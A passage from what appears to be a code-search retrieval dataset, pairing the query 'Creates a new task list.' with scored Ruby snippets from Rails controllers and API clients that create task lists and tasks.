"text": "def initialize(static_site_path)\n @root = static_site_path\n @static_page_server = Rack::Directory.new(@root)\n end",
"title": ""
}
] |
c52c6c26ad693dd988a5f92cb716b5c4
|
Creates a new task list.
|
[
{
"docid": "bf6929d924028f7621621baeae03d42c",
"score": "0.0",
"text": "def initialize\n @tasks = {}\n\n @compiled = false\n @stopped = false\n end",
"title": ""
}
] |
[
{
"docid": "0277bc667a44ac5394462d4df8c29159",
"score": "0.86184806",
"text": "def create_task_list(opts={})\n @list.client.post(\"#{url}/task_lists\", opts)\n end",
"title": ""
},
{
"docid": "2226f0cbe35b595a3242f0f1f9873fbb",
"score": "0.8302268",
"text": "def new_task_list(**task_list_info)\n task_list_data = Google::Apis::TasksV1::TaskList.new\n task_list_info.keys.each do |key|\n task_list_data.instance_variable_set(\"@#{key.to_s}\".to_sym, task_list_info[key])\n end\n tasks_client = Google::Apis::TasksV1::TasksService.new\n tasks_client.authorization = @credentials\n tasks_client.insert_tasklist(task_list_data)\n end",
"title": ""
},
{
"docid": "64f276c524d798cce57d613196364124",
"score": "0.7824677",
"text": "def create_project_task_list(project_id, query={})\n perform_post(\"/api/1/projects/#{project_id}/task_lists\", :body => {:task_lists => query})\n end",
"title": ""
},
{
"docid": "43e1e65cb5997849c7705a95d6d594ca",
"score": "0.78100765",
"text": "def create_task(task_list, opts={})\n @list.client.post(\"#{url}/task_lists/#{task_list.id}/tasks\", opts)\n end",
"title": ""
},
{
"docid": "f1cdd468b4aa25551a74ee39b7f9c4f1",
"score": "0.77767324",
"text": "def create\n @task_list = current_user.task_lists.new(tl_params)\n\n if @task_list.save\n render json: @task_list, status: :created\n else\n render json: @task_list.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "960c3a376f87dd2046ab5af9c2ef3b35",
"score": "0.7771737",
"text": "def create\n @task = @list.tasks.new(task_params)\n\n @task.save\n end",
"title": ""
},
{
"docid": "b12aaa45b52a63f54f3c5cc1758d55de",
"score": "0.7668581",
"text": "def create\n task_list = TaskList.find(params[:task_list_id])\n task = task_list.tasks.create(new_task_params)\n if !task.valid?\n flash[:alert] = \"Error creating task #{new_task_params[:name]}\"\n end\n redirect_to task.task_list\n end",
"title": ""
},
{
"docid": "306e9cd62a7771a3b87702402b1a8599",
"score": "0.75297815",
"text": "def create(projectId,tasklist)\r\n\t\t\t\turl = getBaseURL+\"projects/\"+String(projectId)+\"/tasklists/\"\r\n\t\t\t\tresponse = ZohoHTTPClient.post(url, getQueryMap, tasklist.toParamMAP)\r\n\t\t\t\treturn $tasklistParser.getTasklist(response)\r\n\t\t\tend",
"title": ""
},
{
"docid": "bee677fb1bcbaaf055ffa2eede69b194",
"score": "0.75231886",
"text": "def create\n @tasks = @todo_list.tasks.create(task_params)\n redirect_to @todo_list\n end",
"title": ""
},
{
"docid": "dcb9cd5b7e59016df485fe01dd2f9f73",
"score": "0.7520361",
"text": "def create_project_task_list_task(project_id, task_list_id, query={})\n perform_post(\"/api/1/projects/#{project_id}/task_lists/#{task_list_id}/tasks\", :body => {:task => query})\n end",
"title": ""
},
{
"docid": "892ccf47bf9ab521840f1fb6e1c5c6ec",
"score": "0.7509582",
"text": "def create\n @tasklist = Tasklist.new(tasklist_params)\n\n respond_to do |format|\n if @tasklist.save\n @user.tasklists << @tasklist\n \n format.html { redirect_to @tasklist, notice: 'Tasklist was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tasklist }\n else\n format.html { render action: 'new' }\n format.json { render json: @tasklist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "84f0e017f14fb8d5242cc46884c29809",
"score": "0.74835265",
"text": "def create_task(tasklist_id, options = {})\n object_from_response(:post, \"tasklists/#{tasklist_id}/tasks\", nil, :'todo-item' => options)\n end",
"title": ""
},
{
"docid": "ae1d389b28cbaee990c74463127054ae",
"score": "0.74760544",
"text": "def create\n respond_to do |format|\n if @task_list.save\n current_user.task_lists << @task_list\n format.html { redirect_to @task_list, notice: 'Task list was successfully created.' }\n format.json { render json: @task_list, status: :created, location: @task_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5aba3fd4ffbe88008f2be6d81220b6bc",
"score": "0.74504155",
"text": "def create\n @task = Task.new(task_params)\n @task.list = @list\n @task.user = current_user\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to lists_url, notice: 'Task was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "406429b1f1d4d0f1ca3c21568c46324a",
"score": "0.7375223",
"text": "def create_task\n list = current_user.lists.find_by_id(params[:list_id])\n @task = list.tasks.new(:body => params[:body], :complete => params[:complete])\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render json: @task, status: :created, location: @task }\n format.js { render :layout => false }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "11909f8742659a86809fe9a6317c170f",
"score": "0.7369694",
"text": "def create\n @task_list = TaskList.new(task_list_params)\n\n respond_to do |format|\n if @task_list.save\n format.html { redirect_to @task_list, notice: t('application.controller.task_list.create') }\n format.json { render :show, status: :created, location: @task_list }\n else\n format.html { render :new }\n format.json { render json: @task_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb2f8fbc993c7212dadbe20d8685a8f0",
"score": "0.736451",
"text": "def new\n @tasklist = Tasklist.new()\n end",
"title": ""
},
{
"docid": "e0d2e58600eb80747c63962ef6639d9f",
"score": "0.73471886",
"text": "def new_task(task_list_id,**task_info)\n task_data = Google::Apis::TasksV1::Task.new\n task_info.keys.each do |key|\n task_data.instance_variable_set(\"@#{key.to_s}\".to_sym, task_info[key])\n end\n tasks_client = Google::Apis::TasksV1::TasksService.new\n tasks_client.authorization = @credentials\n if task_data.parent\n #create with a parent\n tasks_client.insert_task(task_list_id,task_data,parent:task_data.parent)\n else\n #create at top level\n tasks_client.insert_task(task_list_id,task_data)\n end\n end",
"title": ""
},
{
"docid": "f268f2b2b45b608a0e937dee5c0f5226",
"score": "0.72514355",
"text": "def create\n @list = List.find(params[:list_id])\n @task = @list.tasks.new(task_params)\n if @task.save\n flash[:success] = \"Task created!\"\n redirect_to current_user\n else\n \tflash[:error] = \"Could not create Task\"\n render 'static_pages/home'\n end\nend",
"title": ""
},
{
"docid": "f3d868d9882ddb608b2ea7544bd70079",
"score": "0.7250795",
"text": "def create_task(params)\n tasks.create(params)\n end",
"title": ""
},
{
"docid": "99c3d4b5d413a95502e3a993f9e19fdc",
"score": "0.71710706",
"text": "def create\n @task_list = TaskList.new(params[:task_list])\n @task_list.user = current_user\n \n respond_to do |format|\n if @task_list.save\n format.html { redirect_to(@task_list, :notice => 'Task list was successfully created.') }\n format.xml { render :xml => @task_list, :status => :created, :location => @task_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "acd022518baf59d9e8163d768552e8e0",
"score": "0.71678084",
"text": "def create\n @task = Task.new(task_params)\n respond_to do |format|\n if List.is_user_can_modify? @task.list, current_user\n if @task.save\n broadcast(@task.list, 'create')\n format.json { render :json => {}, status: :created }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n else\n format.json { render :json => {}, status: :unauthorized }\n end\n end\n end",
"title": ""
},
{
"docid": "3cd0b5daf48d43908b5eaa02a4a00787",
"score": "0.7164791",
"text": "def create\n \n @tasklist = current_user.tasklists.new(params[:tasklist]);\n \n respond_to do |format|\n if @tasklist.save\n format.html { redirect_to @tasklist, notice: 'Tasklist was successfully created.' }\n format.json { render json: @tasklist, status: :created, location: @tasklist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tasklist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5bdbaa103803052d4d2cf3933800ef4",
"score": "0.71538526",
"text": "def create\n @tasklist = Tasklist.new(params[:tasklist])\n if @tasklist.save\n redirect_to project_tasklist_path(@project, @tasklist), :notice => 'Tasklist was successfully created.'\n else\n render action: \"new\"\n end\n end",
"title": ""
},
{
"docid": "47667736a5fa124a0b8490c19843cfb8",
"score": "0.7127089",
"text": "def create\n @task = @list.tasks.build(task_params)\n @task.status = 0\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to list_tasks_path(@list), notice: \"Task was successfully created.\" }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad05d6d204c5f396d02afca7571df2f4",
"score": "0.71123046",
"text": "def create\n @task_list = TaskList.new(params[:task_list])\n\n respond_to do |format|\n if @task_list.save\n format.html { redirect_to(@task_list, :notice => 'Task list was successfully created.') }\n format.xml { render :xml => @task_list, :status => :created, :location => @task_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1900e1f4e69cba7edd5481b139f69971",
"score": "0.7051982",
"text": "def create\n @tasklist = @project.tasklists.build(params[:tasklist])\n @tasklist.creator = current_user\n\n respond_to do |format|\n if @tasklist.save\n format.html { redirect_to project_tasklist_path(@project, @tasklist), :flash => { :success => 'Tasklist was successfully created.' } }\n format.json { render json: @tasklist, status: :created, location: @tasklist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tasklist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48f0643ab78613f672e2948afad3dbba",
"score": "0.7043364",
"text": "def create\n @task = Task.new(task_params)\n @task_list = @task.task_list\n @task.insert_at(1)\n respond_to do |format|\n if @task.save\n format.html { redirect_to task_list_url(@task_list), notice: \"Task was successfully created.\" }\n format.json { render :show, status: :created, location: task_list_url(@task_list) }\n else\n # format.html { redirect_to new_task_url(:params => { :list => @task_list.id }), notice: @task.errors.messages}\n format.html { render :new, error: @task.errors.messages.values }\n format.json { render json: @task.errors.messages.inspect, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a3e77d877d06401b2e667d5156708d8",
"score": "0.7027525",
"text": "def create_task(params)\n self.tasks.create(params)\n end",
"title": ""
},
{
"docid": "492332b46251b31e0e521ea54f67ec95",
"score": "0.701626",
"text": "def create_tasks(task_list)\n response = Connection.new.post(\n \"/metadata/taskdefs\",\n { body: (task_list.is_a?(Array) ? task_list : [task_list]).to_json }\n )\n Metadata.build(response)\n end",
"title": ""
},
{
"docid": "5281ba39e15b153bc6a874e7c11e876f",
"score": "0.6950382",
"text": "def create_task(name, date = nil)\n Wunderlist::Task.new(name, date, self, @api).save\n end",
"title": ""
},
{
"docid": "6787d6c101999bec9fa6930709926325",
"score": "0.69500554",
"text": "def add(task)\n list = ToDoList.find_or_create_by(name: options[:list] , user_id: current_user.id)\n Task.create(name: task, list_id: list.id, due_date: options[:date]) \n end",
"title": ""
},
{
"docid": "6c0f37560ccc24bf6cede147f4a2f339",
"score": "0.68832034",
"text": "def create_todolist(todo_list)\n post_params = {\n :body => todo_list.post_json,\n :headers => Logan::Client.headers.merge({'Content-Type' => 'application/json'})\n }\n \n response = Logan::Client.post \"/projects/#{@id}/todolists.json\", post_params\n Logan::TodoList.new response.merge({ :project_id => @id })\n end",
"title": ""
},
{
"docid": "63abbedd73a47980c6146b834b332ce1",
"score": "0.68809736",
"text": "def new_task\n say(\"Create a new todo item:\")\n input = ask(\"Item name?\")\n Toodoo::Item.create{:name => input, :finished => false, :list_id => list.id}\n end",
"title": ""
},
{
"docid": "0f10a726dcf29f0b8d293c206a8180cf",
"score": "0.6876509",
"text": "def create_todolist(todo_list)\n post_params = {\n :body => todo_list.post_json,\n :headers => Logan::Client.headers.merge({'Content-Type' => 'application/json'})\n }\n\n response = Logan::Client.post \"/projects/#{@id}/todolists.json\", post_params\n Logan::TodoList.new response.merge({ :project_id => @id })\n end",
"title": ""
},
{
"docid": "232a6439af19251307d2e1ce8f038951",
"score": "0.6874302",
"text": "def create_task(name, description, priority, due_date)\n @tasks << Task.new(name,description, priority, due_date)\n end",
"title": ""
},
{
"docid": "868770eff4adc2b20bfb74794ba74245",
"score": "0.6870917",
"text": "def create_tasks(tasks_data)\n @tasks = []\n return if tasks_data.nil?\n tasks_data.each do |task|\n @tasks.push(Quest_Task.new(task))\n end\n end",
"title": ""
},
{
"docid": "6ecae1911065854a2d1e8e6639db2ea6",
"score": "0.6862091",
"text": "def create(name)\n attributes = client.post(path: 'lists', params: { list: { name: name }})\n TodoableApi::List.new(attributes)\n end",
"title": ""
},
{
"docid": "3e21beacfe699e0415c415829ba3c809",
"score": "0.68528515",
"text": "def CreateNewTask(name,type,priority)\n\tTasks.data << Tasks::Task.new(name,type,priority)\nend",
"title": ""
},
{
"docid": "34080149e1add9c75290a962e7328791",
"score": "0.6837362",
"text": "def lists_create(options = {})\n @req.post(\"/1.1/lists/create.json\", options)\n end",
"title": ""
},
{
"docid": "bd62d4f5d4a34e10b97f08423b21e2a5",
"score": "0.6835242",
"text": "def add(opts = {})\n tasklist = find_list(opts.delete(:list)) { |lists| lists[0] }\n task = @tasks.tasks.insert.request_schema.new(opts)\n result = @google_client.execute(api_method: @tasks.tasks.insert,\n parameters: { tasklist: tasklist.id },\n body_object: task)\n result.body\n end",
"title": ""
},
{
"docid": "c3f288dc433f1a6aee372f775dce2146",
"score": "0.6834537",
"text": "def new_task\n t = Task.new(get_next_id, @current_user_id) #Must change number\n t.create\n @db << t\n save_db\n end",
"title": ""
},
{
"docid": "072523ef6bcd8085fcea59b82e4de2d5",
"score": "0.6826241",
"text": "def create_new_task (db, names, tasks)\n db.execute(\"INSERT INTO prentke_list (user_name, task)\n VALUES (?, ?)\", [names, tasks])\nend",
"title": ""
},
{
"docid": "01c1f4be11dd5d64c101467faa84f24a",
"score": "0.68067205",
"text": "def create\n @task = @list.tasks.build(params[:task])\n\n if @task.save\n render_object(@task)\n else\n render_error @task.errors.full_messages.to_sentence\n end\n end",
"title": ""
},
{
"docid": "3f8654dddb448c10e2d4daa2045672f4",
"score": "0.68060935",
"text": "def create\n @task_list = TaskList.new(task_list_params)\n @task_list[:user_id] = current_user().id\n logger.debug 'task_lists#create called'\n logger.debug @task_list.inspect\n respond_to do |format|\n if @task_list.save\n format.html { redirect_to @task_list, notice: 'Task list was successfully created' }\n format.json { render :show, status: :created, location: @task_list }\n else\n format.html do \n flash[:error] = @task_list.errors.messages.values\n render :new, error: @task_list.errors\n\n end\n format.json { render json: @task_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7317f9f75dace44ab6497329be897d1e",
"score": "0.6801216",
"text": "def create\n @checklists_task = @checklist.tasks.new(params[:checklists_task])\n\n respond_to do |format|\n if @checklists_task.save\n format.html { redirect_to @checklists_task, notice: 'Task was successfully created.' }\n format.json { render json: @checklists_task, status: :created, location: @checklists_task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checklists_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20f921565f28a2aa4b229e01cecaac5f",
"score": "0.6794916",
"text": "def create\n @list = List.new(params[:list])\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'Task list was successfully created.' }\n format.json { render json: @list, status: :created, location: @list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "390f0eafc3f6875572d4f517f496a3c1",
"score": "0.67941934",
"text": "def list_create(name)\n lists = (storage.lists << List.new(name))\n storage.lists = lists\n output \"Boom! Created a new list called \\\"#{name}\\\".\"\n save!\n end",
"title": ""
},
{
"docid": "39b2681cd525f2644a7610d007b47913",
"score": "0.6764554",
"text": "def create\n @task = Task.new(task_params)\n# @task = @user.tasks.build(task_params)\n\n if params.has_key?(:tasklist_id)\n @tasklist = @user.tasklists.find(params[:tasklist_id])\n set_cookies_tasklist\n else\n set_cookies\n end\n \n respond_to do |format|\n if @task.save\n @user.tasks << @task\n \n if params.has_key?(:tasklist_id)\n @tasklist.tasks << @task\n end\n \n format.html { \n flash[:success] = \"#{@task.name} was successfully created.\" \n redirect_to params.has_key?(:tasklist_id) ? @tasklist : tasks_path\n# redirect_to :action => :index\n }\n format.json { render action: 'show', status: :created, location: @task }\n else\n format.html { \n flash[:danger] = \"#{@task.name} was not created.\"\n redirect_to :action => :index\n }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26f46ab796df79e934ab815c923ed2fe",
"score": "0.6758567",
"text": "def add_new_list(list_name)\n @lists << TodoList.new(list_name)\n end",
"title": ""
},
{
"docid": "9823664598bcc265e5fa94e3cb3ae798",
"score": "0.67447436",
"text": "def create(params)\n post('lists', params)\n end",
"title": ""
},
{
"docid": "6ee984ddeaf5b81699ac0818645c7562",
"score": "0.6734954",
"text": "def create\n @task = Task.new(task_params)\n @list_id = task_params[:list_id] \n if @task.save \n #flash.now[:success] = \"Successfully created task.\" \n end\n end",
"title": ""
},
{
"docid": "1444285278146271c806ddb85747664a",
"score": "0.6732895",
"text": "def create \n # use current_list id\n params[:task][:tasklist_id] = current_user.current_list\n @task = current_user.tasks.create(params[:task])\n \n if @task.save\n @addtype = @task.addtype\n flash[:notice] = t(\"tasks.created\") \n respond_to do |format|\n format.html { redirect_to root_path }\n format.js\n end \n end \n end",
"title": ""
},
{
"docid": "996e1204d71da2ed15e34916d5b5e0af",
"score": "0.6728953",
"text": "def create\n \t# TODO: remove ()\n @task_list = current_user.task_lists.new()\n @task_list.title = params[:task_list][:title]\n @task_list.icon_name = params[:task_list][:icon_name]\n\n respond_to do |format|\n if @task_list.save\n flash[:notice] = 'TaskList was successfully created.'\n # register friends in this task list (add friends to connections)\n params[:task_list][:selected_friends_new].split(\",\").each do |uid|\n @task_list.connections.create(:user_id => uid)\n end\n # format.html { redirect_to(root_url) }\n format.js\n else\n flash[:error] = @task_list.errors.full_messages.to_sentence\n format.html { render :action => \"new\" }\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "d781b9551844153b99124b8a0a334c7b",
"score": "0.672353",
"text": "def add_item(task)\n @list + [task]\n end",
"title": ""
},
{
"docid": "6423ee42e8e2d09cd6907012c0b93c3d",
"score": "0.6718926",
"text": "def create_to_do_list(name)\n ToDoList.create(name: name, user_id: id)\n end",
"title": ""
},
{
"docid": "9151aaf98e46ed573e184300b412cdad",
"score": "0.670807",
"text": "def add\n description = prompt(\"Task description.\")\n new_task = Task.new(description)\n @all_tasks.push(new_task)\n end",
"title": ""
},
{
"docid": "2ba632d27c010fe9dc9c845c75c968b4",
"score": "0.67066294",
"text": "def add_item(task)\r\n @list << task\r\n p @list\r\n end",
"title": ""
},
{
"docid": "357652947e092f271c76208ea4c4118e",
"score": "0.6686467",
"text": "def create_todo(list_id, name)\n return base_uri('post', 'lists/' + list_id + '/items', name)\n end",
"title": ""
},
{
"docid": "51adb5e7d74dde09944c7d6e93ac9faa",
"score": "0.6655923",
"text": "def setupTasksList\n require 'tmpdir'\n lTasksFileName = \"#{Dir.tmpdir}/WEACE_Tasks_#{Thread.current.object_id}.lst\"\n File.open(lTasksFileName, 'w') do |oFile|\n oFile << 'TaskID 1\nTaskID 2\nTaskID 3'\n end\n yield(lTasksFileName)\n File.unlink(lTasksFileName)\n end",
"title": ""
},
{
"docid": "e7288bca51f07adc5adf94f008f4f43e",
"score": "0.6655602",
"text": "def initialize\n @task_list = []\n end",
"title": ""
},
{
"docid": "bc00d4a6543c1d316612de7eff1aef0b",
"score": "0.6638401",
"text": "def create_list(name, item = nil, value = nil)\n lists = (storage.lists << Project.new(name))\n storage.lists = lists\n output \"#{cyan(\"Looper!\")} Created a new project called #{yellow(name)}.\"\n save\n add_item(name, item, value) unless value.nil?\n end",
"title": ""
},
{
"docid": "44faffbaea591eb001b46c6818f6191a",
"score": "0.6637855",
"text": "def create_todolist(todo_list)\n response = client.access_token.post(\"#{client.base_uri}/projects/#{id}/todolists.json\") do |request|\n request.body = todo_list.post_json\n request.headers['Content-Type'] = 'application/json'\n end\n\n Basecamp::TodoList.new(response.parsed.merge({\n :account_id => account_id,\n :token => token\n }))\n\n rescue OAuth2::Error => ex\n Basecamp::Error.new(ex.message).raise_exception\n end",
"title": ""
},
{
"docid": "8341a065424436557013fd43b86a951a",
"score": "0.66338146",
"text": "def create\n @task = Task.new(params[:task])\n @current_user.tasks << @task\n\n if @current_user.save\n @tasks = @current_user.tasks\n redirect_to tasks_path\n else\n redirect_to new_task_path\n end\n end",
"title": ""
},
{
"docid": "c37fb8a82410c6af2efb3de37594e721",
"score": "0.66287863",
"text": "def add_task(task)\n @task_list.push(task)\n end",
"title": ""
},
{
"docid": "c37fb8a82410c6af2efb3de37594e721",
"score": "0.66287863",
"text": "def add_task(task)\n @task_list.push(task)\n end",
"title": ""
},
{
"docid": "3f49afa68572df56852a7446ae9dddfa",
"score": "0.6606378",
"text": "def set_task_list\n @task_list = TaskList.find(params[:id])\n end",
"title": ""
},
{
"docid": "3f49afa68572df56852a7446ae9dddfa",
"score": "0.660555",
"text": "def set_task_list\n @task_list = TaskList.find(params[:id])\n end",
"title": ""
},
{
"docid": "3f49afa68572df56852a7446ae9dddfa",
"score": "0.660555",
"text": "def set_task_list\n @task_list = TaskList.find(params[:id])\n end",
"title": ""
},
{
"docid": "3f49afa68572df56852a7446ae9dddfa",
"score": "0.660555",
"text": "def set_task_list\n @task_list = TaskList.find(params[:id])\n end",
"title": ""
},
{
"docid": "eaeb191b993f9e2856367df857990bd7",
"score": "0.66034263",
"text": "def existing_list\n File.open(\"test.txt\").each do |line|\n self.add_task(Task.new(line))\n end\n end",
"title": ""
},
{
"docid": "8540cdb43084d4483764152b9acd2843",
"score": "0.6600566",
"text": "def create\n @task = Task.new(params[:task])\n if @task.save\n flash[:notice] = 'Added new task'\n redirect_to :action => :index\n else\n flash[:error] = 'Failed to add new task'\n load_tasks\n render :action => :index\n end\n end",
"title": ""
},
{
"docid": "05905bc7763937a2122f2e72508681d7",
"score": "0.65807915",
"text": "def create\n @patients_task_list = Patients::Task::List.new(patients_task_list_params)\n\n respond_to do |format|\n if @patients_task_list.save!\n format.html { redirect_to patient_path(@patients_task_list.patient), notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @patients_task_list }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @patients_task_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3746d22811ca187716a3c5390e75822",
"score": "0.6563933",
"text": "def create\n @user=TaskApi::User.find(session[:user_id])\n @task = @user.tasks.new(task_params)\n\n # p @user.tasks\n # @user.tasks.create!(task_params)\n\n respond_to do |format|\n if @task.save\n # format.html { redirect_to tasks_url, notice: 'Task was successfully created.' }\n format.html { \n @tasks = [@task]\n render :layout => false, :template => 'tasks/index.html.erb'\n }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd9dfa590fb7d3cb18178d96802d8e99",
"score": "0.65533036",
"text": "def create\n @task_item = TaskItem.new(task_item_params)\n\n respond_to do |format|\n if @task_item.save\n \n @task_list = @task_item.task_list\n @task_items = @task_list.task_items \n \n format.html { render :index, notice: 'Task item was successfully created.' }\n format.json { render :show, status: :created, location: @task_item }\n else\n format.html { render :new }\n format.json { render json: @task_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1514f755c70f34ce8f92364e8bb8b67a",
"score": "0.65331733",
"text": "def create\n appctrl_create( 'Task' )\n end",
"title": ""
},
{
"docid": "27c37bec64999a3dd756a6dda06dd9a6",
"score": "0.6530342",
"text": "def create\n raise 'All tasks must have a distinct type' if @task.type == 'Plc::Task'\n\n if @task.save\n redirect_to edit_plc_task_url(@task), notice: 'Task was successfully created.'\n else\n redirect_to action: :new\n end\n end",
"title": ""
},
{
"docid": "0c3d9f456e57b45b44bab56e4b22a7dc",
"score": "0.65234995",
"text": "def create\n @todo_list = TodoList.create(todo_list_params)\n render json: @todo_list\n end",
"title": ""
},
{
"docid": "68dfa07d96b799fa00bfb45f0753216b",
"score": "0.65231186",
"text": "def create\n @task = Task.new(params[:task])\n \n if @task.save\n \n #\n # Move down all other items by 1\n #\n for task in Task.open_tasks do\n unless task == @task\n task.position += 1\n task.save\n end\n end\n \n flash[:success] = \"New task successfully saved\"\n render :text => ''\n \n else\n render 'new' and return\n end\n end",
"title": ""
},
{
"docid": "19e528ed60973c9857fcf4fb1e78d4e0",
"score": "0.6515707",
"text": "def tasks_add(taskname)\n\ttask = TasksController.add(taskname)\n\tp \"Added task ==>\" + \" \" + taskname\n\tprint tasks_list\nend",
"title": ""
},
{
"docid": "02989537de5ee439429743d208cb339d",
"score": "0.651358",
"text": "def task_list_params\n params.require(:task_list).permit(:tasks, :name, :user_id)\n end",
"title": ""
},
{
"docid": "2f01114509b1920f3349e02240ce8ea9",
"score": "0.6500416",
"text": "def set_task_list\n @task_list = TaskList.find(params[:task_list_id])\n end",
"title": ""
},
{
"docid": "c3a2378e398b3ff598c17e36c67df5c2",
"score": "0.64941514",
"text": "def create\n @task_list = TaskList.new(task_list_params)\n\n respond_to do |format|\n if @task_list.save\n format.html { redirect_to @task_list, notice: ['Task list was created.'] }\n format.js\n format.json { render action: 'show', status: :created, location: @task_list }\n else\n format.html { redirect_to current_user, alert: @task_list.errors.full_messages }\n format.json { render json: @task_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18f92e00cb5dd4ba638a704fa22f558b",
"score": "0.64811337",
"text": "def create\n @task = Task.create(task_params)\n end",
"title": ""
},
{
"docid": "2caa46327e436857929ad64948b8ea21",
"score": "0.6478185",
"text": "def create\n @task = Task.new(task_params)\n respond_to do |format|\n if @task.save\n current_user.tasks << @task\n\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render action: 'show', status: :created, location: @task }\n else\n format.html { render action: 'new' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9888227b3fab327da160cfc23936a08",
"score": "0.64509356",
"text": "def create\n\t\t\t@task = current_admin.tasks.build(task_params)\n\t\t\tif @task.save\n\t\t\t\tredirect_to admin_tasks_path(current_admin)\n\t\t\telse\n\t\t\t\tflash[:message] = \"Keep Tasks between 1 and 100 characters please.\"\n\t\t\t\tredirect_to new_task_path\n\t\t\t\t#binding.pry\n\t\t\tend\n\tend",
"title": ""
},
{
"docid": "834cb54c175ac88dd531c16960038dc6",
"score": "0.64493006",
"text": "def add_todo(item)\n Task.create(description: \"#{item}\")\n todos_list\nend",
"title": ""
},
{
"docid": "03d74eb2ef04f81e4e7b40986eace350",
"score": "0.6443014",
"text": "def create\n @task = tasks.new(params[:task])\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render json: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a28a0a4d0db4a6c130047a376a1552fe",
"score": "0.64427733",
"text": "def index\n @your_tasks = YourTask.all\n @create_task = YourTask.new\n end",
"title": ""
},
{
"docid": "af02a5dafe9991c0488bc8e1038f083a",
"score": "0.6442455",
"text": "def create\n result = CreateTask.call(\n params: task_params,\n user: current_user\n )\n if result.success?\n redirect_to tasks_url\n else\n redirect_to tasks_url, notice: \"Can't create task with blank description\"\n end\n end",
"title": ""
},
{
"docid": "f4280bcbdd10079777be256ca3861c22",
"score": "0.64383096",
"text": "def create\n\n @todo = @list.todos.create(todo_params)\n @user.todos << @todo\n\n set_deadline(@todo)\n\n respond_to do |format|\n if @todo.save\n\n format.html { redirect_to list_path(@list) }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f983e136b66b27f73a3586c2a353f88d",
"score": "0.6430941",
"text": "def create\n\t\t\t\ttasks = Task.new(tasks_params)\n\t\t\t\tif tasks.save\n\t\t\t\t\trender json: {status: 'SUCCESS', message:'Tarefa inserida com sucesso', data:tasks},status: :ok\n\t\t\t\telse\n\t\t\t\t\trender json: {status: 'ERROR', message:'Tarefa não inserida com sucesso', data:tasks.erros},status: :unprocessable_entity\n\t\t\t\tend\n end",
"title": ""
},
{
"docid": "ecd176fba032a5a8e1defb576062b1ee",
"score": "0.6430311",
"text": "def create_list\n List.new(id: service.hash(uid)).tap do |list|\n list.pref_label = pref_label\n list.description = [description]\n list.uid = uid\n list_types.each { |t| list.type << t }\n end.save\n List.find(service.hash(uid))\n end",
"title": ""
},
{
"docid": "f4c58c55719ed3692655bd9fc5aae28f",
"score": "0.6421303",
